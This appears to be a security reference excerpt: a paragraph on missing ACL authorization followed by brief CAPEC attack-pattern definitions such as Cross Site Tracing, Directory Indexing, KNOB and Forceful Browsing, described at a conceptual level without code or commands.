In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-107: Cross Site Tracing
Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-237: Escaping a Sandbox by Calling Code in Another Language
The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content
An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.
CAPEC-480: Escaping Virtualization
An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-65: Sniff Application Code
An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-74: Manipulating State
The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.
State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.
If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.